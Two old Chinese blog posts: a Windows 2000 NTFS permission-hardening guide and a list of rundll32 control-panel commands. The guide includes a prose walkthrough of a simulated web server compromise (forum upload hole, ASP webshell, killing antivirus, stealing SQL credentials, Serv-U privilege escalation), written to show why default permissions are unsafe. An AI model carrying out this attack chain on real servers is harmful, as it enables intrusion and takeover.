    Users:普通用户组,这个组的用户无法进行有意或无意的改动。因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序。 Users 组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料。Users 组提供了一个最安全的程序运行环境。在经过 NTFS 格式化的卷上,默认安全设置旨在禁止该组的成员危及操作系统和已安装程序的完整性。用户不能修改系统注册表设置、操作系统文件或程序文件。Users 可以关闭工作站,但不能关闭服务器。Users 可以创建本地组,但只能修改自己创建的本地组。

    Guests:来宾组,按默认值,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多。

    Everyone:顾名思义,所有的用户,这个计算机上的所有用户都属于这个组。

    其实还有一个组也很常见,它拥有和Administrators一样、甚至比其还高的权限,但是这个组不允许任何用户的加入,在察看用户组的时 候,它也不会被显示出来,它就是SYSTEM组。系统和系统级的服务正常运行所需要的权限都是靠它赋予的。由于该组只有这一个用户SYSTEM,也许把该 组归为用户的行列更为贴切。

    权限是有高低之分的,有高权限的用户可以对低权限的用户进行操作,但除了Administrators 之外,其他组的用户不能访问 NTFS 卷上的其他用户资料,除非他们获得了这些用户的授权。而低权限的用户无法对高权限的用户进行任何操作。

    我们平常使用计算机的过程当中不会感觉到有权限在阻挠你去做某件事情,这是因为我们在使用计算机的时候都用的是Administrators中的 用户登陆的。这样有利也有弊,利当然是你能去做你想做的任何一件事情而不会遇到权限的限制。弊就是以 Administrators 组成员的身份运行计算机将使系统容易受到特洛伊木马、病毒及其他安全风险的威胁。访问 Internet 站点或打开电子邮件附件的简单行动都可能破坏系统。不熟悉的 Internet 站点或电子邮件附件可能有特洛伊木马代码,这些代码可以下载到系统并被执行。如果以本地计算机的管理员身份登录,特洛伊木马可能使用管理访问权重新格式化 您的硬盘,造成不可估量的损失,所以在没有必要的情况下,最好不用Administrators中的用户登陆。Administrators中有一个在系 统安装时就创建的默认用户----Administrator,Administrator 帐户具有对服务器的完全控制权限,并可以根据需要向用户指派用户权利和访问控制权限。因此强烈建议将此帐户设置为使用强密码。永远也不可以从 Administrators 组删除 Administrator 帐户,但可以重命名或禁用该帐户。由于大家都知道"管理员"存在于许多版本的 Windows 上,所以重命名或禁用此帐户将使恶意用户尝试并访问该帐户变得更为困难。对于一个好的服务器管理员来说,他们通常都会重命名或禁用此帐户。Guests用 户组下,也有一个默认用户----Guest,但是在默认情况下,它是被禁用的。如果没有特别必要,无须启用此账户。我们可以通过"控制面板"--"管理 工具"--"计算机管理"--"用户和用户组"来查看用户组及该组下的用户。

    我们用鼠标右键单击一个NTFS卷或NTFS卷下的一个目录,选择"属性"--"安全"就可以对一个卷,或者一个卷下面的目录进行权限设置,此时 我们会看到以下七种权限:完全控制、修改、读取和运行、列出文件夹目录、读取、写入、和特别的权限。"完全控制"就是对此卷或目录拥有不受限制的完全访 问。地位就像Administrators在所有组中的地位一样。选中了"完全控制",下面的五项属性将被自动被选中。"修改"则像Power users,选中了"修改",下面的四项属性将被自动被选中。下面的任何一项没有被选中时,"修改"条件将不再成立。"读取和运行"就是允许读取和运行在 这个卷或目录下的任何文件,"列出文件夹目录"和"读取"是"读取和运行"的必要条件。"列出文件夹目录"是指只能浏览该卷或目录下的子目录,不能读取, 也不能运行。"读取"是能够读取该卷或目录下的数据。"写入"就是能往该卷或目录下写入数据。而"特别"则是对以上的六种权限进行了细分。读者可以自行对 "特别"进行更深的研究,鄙人在此就不过多赘述了。

    下面我们对一台刚刚安装好操作系统和服务软件的WEB服务器系统和其权限进行全面的刨析。服务器采用Windows 2000 Server版,安装好了SP4及各种补丁。WEB服务软件则是用了Windows 2000自带的IIS 5.0,删除了一切不必要的映射。整个硬盘分为四个NTFS卷,C盘为系统卷,只安装了系统和驱动程序;D盘为软件卷,该服务器上所有安装的软件都在D盘 中;E盘是WEB程序卷,网站程序都在该卷下的WWW目录中;F盘是网站数据卷,网站系统调用的所有数据都存放在该卷的WWWDATABASE目录下。这 样的分类还算是比较符合一台安全服务器的标准了。希望各个新手管理员能合理给你的服务器数据进行分类,这样不光是查找起来方便,更重要的是这样大大的增强 了服务器的安全性,因为我们可以根据需要给每个卷或者每个目录都设置不同的权限,一旦发生了网络安全事故,也可以把损失降到最低。当然,也可以把网站的数 据分布在不同的服务器上,使之成为一个服务器群,每个服务器都拥有不同的用户名和密码并提供不同的服务,这样做的安全性更高。不过愿意这样做的人都有一个 特点----有钱:)。好了,言归正传,该服务器的数据库为MS-SQL,MS-SQL的服务软件SQL2000安装在d:\ms- sqlserver2K目录下,给SA账户设置好了足够强度的密码,安装好了SP3补丁。为了方便网页制作员对网页进行管理,该网站还开通了FTP服务, FTP服务软件使用的是SERV-U 5.1.0.0,安装在d:\ftpservice\serv-u目录下。杀毒软件和防火墙用的分别是Norton Antivirus和BlackICE,路径分别为d:\nortonAV和d:\firewall\blackice,病毒库已经升级到最新,防火墙规 则库定义只有80端口和21端口对外开放。网站的内容是采用动网7.0的论坛,网站程序在e:\www\bbs下。细心的读者可能已经注意到了,安装这些 服务软件的路径我都没有采用默认的路径或者是仅仅更改盘符的默认路径,这也是安全上的需要,因为一个黑客如果通过某些途径进入了你的服务器,但并没有获得 管理员权限,他首先做的事情将是查看你开放了哪些服务以及安装了哪些软件,因为他需要通过这些来提升他的权限。一个难以猜解的路径加上好的权限设置将把他 阻挡在外。相信经过这样配置的WEB服务器已经足够抵挡大部分学艺不精的黑客了。读者可能又会问了:"这根本没用到权限设置嘛!我把其他都安全工作都做好 了,权限设置还有必要吗?"当然有!智者千虑还必有一失呢,就算你现在已经把系统安全做的完美无缺,你也要知道新的安全漏洞总是在被不断的发现。权限将是 你的最后一道防线!那我们现在就来对这台没有经过任何权限设置,全部采用Windows默认权限的服务器进行一次模拟攻击,看看其是否真的固若金汤。
    
    假设服务器外网域名为http://www.webserver.com, 用扫描软件对其进行扫描后发现开放WWW和FTP服务,并发现其服务软件使用的是IIS 5.0和Serv-u 5.1,用一些针对他们的溢出工具后发现无效,遂放弃直接远程溢出的想法。打开网站页面,发现使用的是动网的论坛系统,于是在其域名后面加个 /upfile.asp,发现有文件上传漏洞,便抓包,把修改过的ASP木马用NC提交,提示上传成功,成功得到WEBSHELL,打开刚刚上传的ASP 木马,发现有MS-SQL、Norton Antivirus和BlackICE在运行,判断是防火墙上做了限制,把SQL服务端口屏蔽了。通过ASP木马查看到了Norton Antivirus和BlackICE的PID,又通过ASP木马上传了一个能杀掉进程的文件,运行后杀掉了Norton Antivirus和BlackICE。再扫描,发现1433端口开放了,到此,便有很多种途径获得管理员权限了,可以查看网站目录下的conn.asp 得到SQL的用户名密码,再登陆进SQL执行添加用户,提管理员权限。也可以抓SERV-U下的ServUDaemon.ini修改后上传,得到系统管理 员权限。还可以传本地溢出SERV-U的工具直接添加用户到Administrators等等。大家可以看到,一旦黑客找到了切入点,在没有权限限制的情 况下,黑客将一帆风顺的取得管理员权限。
    
    那我们现在就来看看Windows 2000的默认权限设置到底是怎样的。对于各个卷的根目录,默认给了Everyone组完全控制权。这意味着任何进入电脑的用户将不受限制的在这些根目录 中为所欲为。系统卷下有三个目录比较特殊,系统默认给了他们有限制的权限,这三个目录是Documents and settings、Program files和Winnt。对于Documents and settings,默认的权限是这样分配的:Administrators拥有完全控制权;Everyone拥有读&运,列和读权限;Power users拥有读&运,列和读权限;SYSTEM同Administrators;Users拥有读&运,列和读权限。对于 Program files,Administrators拥有完全控制权;Creator owner拥有特殊权限;Power users有完全控制权;SYSTEM同Administrators;Terminal server users拥有完全控制权,Users有读&运,列和读权限。对于Winnt,Administrators拥有完全控制权;Creator owner拥有特殊权限;Power users有完全控制权;SYSTEM同Administrators;Users有读&运,列和读权限。而非系统卷下的所有目录都将继承其父目 录的权限,也就是Everyone组完全控制权!

   现在大家知道为什么我们刚刚在测试的时候能一帆风顺的取得管理员权限了吧?权限设置的太低了!一个人在访问网站的时候,将被自动赋予IUSR用户,它是隶 属于Guest组的。本来权限不高,但是系统默认给的Everyone组完全控制权却让它"身价倍增",到最后能得到Administrators了。那 么,怎样设置权限给这台WEB服务器才算是安全的呢?大家要牢记一句话:"最少的服务+最小的权限=最大的安全"对于服务,不必要的话一定不要装,要知道 服务的运行是SYSTEM级的哦,对于权限,本着够用就好的原则分配就是了。对于WEB服务器,就拿刚刚那台服务器来说,我是这样设置权限的,大家可以参 考一下:各个卷的根目录、Documents and settings以及Program files,只给Administrator完全控制权,或者干脆直接把Program files给删除掉;给系统卷的根目录多加一个Everyone的读、写权;给e:\www目录,也就是网站目录读、写权。最后,还要把cmd.exe这 个文件给挖出来,只给Administrator完全控制权。经过这样的设置后,再想通过我刚刚的方法入侵这台服务器就是不可能完成的任务了。可能这时候 又有读者会问:"为什么要给系统卷的根目录一个Everyone的读、写权?网站中的ASP文件运行不需要运行权限吗?"问的好,有深度。是这样的,系统 卷如果不给Everyone的读、写权的话,启动计算机的时候,计算机会报错,而且会提示虚拟内存不足。当然这也有个前提----虚拟内存是分配在系统盘 的,如果把虚拟内存分配在其他卷上,那你就要给那个卷Everyone的读、写权。ASP文件的运行方式是在服务器上执行,只把执行的结果传回最终用户的 浏览器,这没错,但ASP文件不是系统意义上的可执行文件,它是由WEB服务的提供者----IIS来解释执行的,所以它的执行并不需要运行的权限。

    经过上面的讲解以后,你一定对权限有了一个初步了了解了吧?想更深入的了解权限,那么权限的一些特性你就不能不知道了,权限是具有继承性、累加性 、优先性、交叉性的。
    
    继承性是说下级的目录在没有经过重新设置之前,是拥有上一级目录权限设置的。这里还有一种情况要说明一下,在分区内复制目录或文件的时候,复制过 去的目录和文件将拥有它现在所处位置的上一级目录权限设置。但在分区内移动目录或文件的时候,移动过去的目录和文件将拥有它原先的权限设置。
    
    累加是说如一个组GROUP1中有两个用户USER1、USER2,他们同时对某文件或目录的访问权限分别为"读取"和"写入",那么组 GROUP1对该文件或目录的访问权限就为USER1和USER2的访问权限之和,实际上是取其最大的那个,即"读取"+"写入"="写入"。 又如一个用户USER1同属于组GROUP1和GROUP2,而GROUP1对某一文件或目录的访问权限为"只读"型的,而GROUP2对这一文件或文件 夹的访问权限为"完全控制"型的,则用户USER1对该文件或文件夹的访问权限为两个组权限累加所得,即:"只读"+"完全控制"="完全控制"。
    
    优先性,权限的这一特性又包含两种子特性,其一是文件的访问权限优先目录的权限,也就是说文件权限可以越过目录的权限,不顾上一级文件夹的设置。 另一特性就是"拒绝"权限优先其它权限,也就是说"拒绝"权限可以越过其它所有其它权限,一旦选择了"拒绝"权限,则其它权限也就不能取任何作用,相当于 没有设置。
    
    交叉性是指当同一文件夹在为某一用户设置了共享权限的同时又为用户设置了该文件夹的访问权限,且所设权限不一致时,它的取舍原则是取两个权限的交 集,也即最严格、最小的那种权限。如目录A为用户USER1设置的共享权限为"只读",同时目录A为用户USER1设置的访问权限为"完全控制",那用户 USER1的最终访问权限为"只读"。
权限设置的问题我就说到这了,在最后我还想给各位读者提醒一下,权限的设置必须在NTFS分区中才能实现的,FAT32是不支持权限设置的。同时还想给各位管理员们一些建议:

1.养成良好的习惯,给服务器硬盘分区的时候分类明确些,在不使用服务器的时候将服务器锁定,经常更新各种补丁和升级杀毒软件。

2.设置足够强度的密码,这是老生常谈了,但总有管理员设置弱密码甚至空密码。

3.尽量不要把各种软件安装在默认的路径下

4.在英文水平不是问题的情况下,尽量安装英文版操作系统。

5.切忌在服务器上乱装软件或不必要的服务。

6.牢记:没有永远安全的系统,经常更新你的知识。

- 作者: r4t 2005年02月18日, 星期五 12:34  回复(0) |  引用(0) 加入博采

RUNDLL.exe 命令祥解
文章标题:RUNDLL.exe 命令祥解
作者:《程式设计技术》
出处: 《程式设计技术》
性质:翻译
发布日期:2004-08-26
 
常用Windows9x的朋友一定对Rundll32.exe和Rundll.exe这两个档案不
  会陌生吧,不过,由於这两个程式的功能原先只限於在微软内部使用,因而真正知道如何使用它们的朋友想必不多。那麽好,如果你还不清楚的话,那麽
  就让我来告诉你吧。
  首先,请你做个小实验(请事先保存好你正在执行的程式的结果,否则...)∶
  点击"开始-程式-Ms-Dos方式",进入Dos视窗,然後键入
  "rundll32.exe user.exe,restartwindows",再按下回车键,这时你将看到,机器被重启了!怎麽样,是不是很有趣?
  当然,Rundll的功能绝不仅仅是重启你的机器。其实,Rundll者,顾名思义,执行Dll也,它的功能就是以命令列的方式呼叫Windows的动态链结库,
  Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库,而後者是运用於16位的链结库,它们的命令格式是∶
  RUNDLL.EXE ,,
  这里要注意三点∶1.Dll档案名中不能含有空格,比如该档案位於
  c:Program Files目录,你要把这个路径改成c:Progra~1;2.Dll档案名与Dll 入口点间的逗号不能少,否则程式将出错并且不会给出任何资讯!3.这是最重要的一点∶Rundll不能用来呼叫含返回值参数的Dll,例如 Win32API中的GetUserName(),
  GetTextFace()等。在Visual Basic中,提供了一条执行外部程式的指Shell,格式为∶
  Shell "命令列"
  如果能配合Rundll32.exe用好Shell指令,会使您的VB程式拥有用其他方法难以甚至无法实现的效果∶仍以重启为例,传统的方法需要你在VB工程中先建立一个模组,然後写入WinAPI的声明,最後才能在程式中呼叫。而现在只需一句:
  Shell "rundll32.exe user.exe,restartwindows"就搞定了!是不是方便
  多了?
  实际上,Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。下面,我就将本人在因特网上收集的有关Rundll的指令列举如下(很有用的,能省去你很多呼叫Windows API的时间!!),供大家在程式设计中引用∶
  命令列: rundll32.exe shell32.dll,Control_RunDLL
  功能: 显示控制面板
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
  功能: 显示"控制面板-辅助选项-键盘"选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
  功能: 显示"控制面板-辅助选项-声音"选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
  功能: 显示"控制面板-辅助选项-显示"选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
  功能: 显示"控制面板-辅助选项-滑鼠"选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
  功能: 显示"控制面板-辅助选项-传统"选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1
  功能: 执行"控制面板-添加新硬体"向导。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter
  功能: 执行"控制面板-添加新印表机"向导。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
  功能: 显示 "控制面板-添加/删除程式-安装/卸载" 面板。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
  功能: 显示 "控制面板-添加/删除程式-安装Windows" 面板。
  命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
  功能: 显示 "控制面板-添加/删除程式-启动盘" 面板。
  命令列: rundll32.exe syncui.dll,Briefcase_Create
  功能: 在桌面上建立一个新的"我的公文包"。
  命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll
  功能: 显示复制软碟视窗
  命令列: rundll32.exe apwiz.cpl,NewLinkHere %1
  功能: 显示"建立快捷方式"的对话框,所建立的快捷方式的位置由%1参数决定。
  命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
  功能: 显示"*期与时间"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
  功能: 显示"时区"选项视窗。
  命令列: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称]
  功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接,则显示目前的连接状态的视窗。
  命令列: rundll32.exe rnaui.dll,RnaWizard
  功能: 显示"新建拨号连接"向导的视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
  功能: 显示"显示属性-背景"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
  功能: 显示"显示属性-萤屏保护"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
  功能: 显示"显示属性-外观"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
  功能: 显示显示"显示属性-属性"选项视窗。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder
  功能: 显示Windows的"字体"档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
  功能: 同样是显示Windows的"字体"档案夹。
  命令列: rundll32.exe shell32.dll,SHFormatDrive
  功能: 显示格式化软碟对话框。
  命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0
  功能: 显示"控制面板-游戏控制器-一般"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1
  功能: 显示"控制面板-游戏控制器-进阶"选项视窗。
  命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文档)
  功能: 列印HTML文档。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
  功能: 显示Microsoft Exchange一般选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
  功能: 显示"控制面板-滑鼠" 选项 。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
  功能: 显示 "控制面板-键盘属性-速度"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
  功能: 显示 "控制面板-键盘属性-语言"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
  功能: 显示Windows"印表机"档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
  功能: 显示Windows"字体"档案夹。
  命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
  功能: 显示"控制面板-输入法属性-输入法"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add
  功能: 执行"添加新调制解调器"向导。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0
  功能: 显示"控制面板-多媒体属性-音频"属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1
  功能: 显示"控制面板-多媒体属性-视频"属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2
  功能: 显示"控制面板-多媒体属性-MIDI"属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3
  功能: 显示"控制面板-多媒体属性-CD音乐"属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4
  功能: 显示"控制面板-多媒体属性-设备"属性页。
  命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1
  功能: 显示"控制面板-声音"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl
  功能: 显示"控制面板-网路"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl
  功能: 显示ODBC32资料管理选项视窗。
  命令列: rundll32.exe shell32.dll,OpenAs_RunDLL{drive:path ilename}

  功能: 显示指定档案(drive:path ilename)的"打开方式"对话框。
  命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl
  功能: 显示"控制面板-密码"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl
  功能: 显示"控制面板-电源管理属性"选项视窗。
  命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL
  PrintersFolder
  功能: 显示Windows"印表机"档案夹。(同rundll32.exe shell32.dll,Control_RunDLL
  main.cpl @2)
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0
  功能: 显示"控制面板-区域设置属性-区域设置"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1
  功能: 显示"控制面板-区域设置属性-数字"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2
  功能: 显示"控制面板-区域设置属性-货币"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3
  功能: 显示"控制面板-区域设置属性-时间"选项视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4
  功能: 显示"控制面板-区域设置属性-*期"选项视窗。
  命令列: rundll32.exe desk.cpl,InstallScreenSaver [萤屏保护档案名]
  功能: 将指定的萤屏保护档案设置为Windows的屏保,并显示萤屏保护属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0
  功能: 显示"控制面板-系统属性-传统"属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1
  功能: 显示"控制面板-系统属性-设备管理器"属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2
  功能: 显示"控制面板-系统属性-硬体配置档案"属性视窗。
  命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3
  功能: 显示"控制面板-系统属性-性能"属性视窗。
  命令列: rundll32.exe user.exe,restartwindows
  功能: 强行关闭所有程式并重启机器。
  命令列: rundll32.exe user.exe,exitwindows
  功能: 强行关闭所有程式并关机。
  命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl
  功能: 显示"拨号属性"选项视窗
  命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl
  功能: 显示"桌面主旨"选项面板
  当然,不止是VisualBasic,象Delphi.VisualC++等其他程式设计语言也可以通
  过呼叫外部命令的方法来使用Rundll的这些功能,具体方法这里就不再详细叙述
  了。灵活的使用Rundll,一定会使你的程式设计轻轻松松,达到事半功倍的效果!
 
Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库,而後者是运用於16位的链结库


- 作者: r4t 2005年02月14日, 星期一 12:19  回复(0) |  引用(0) 加入博采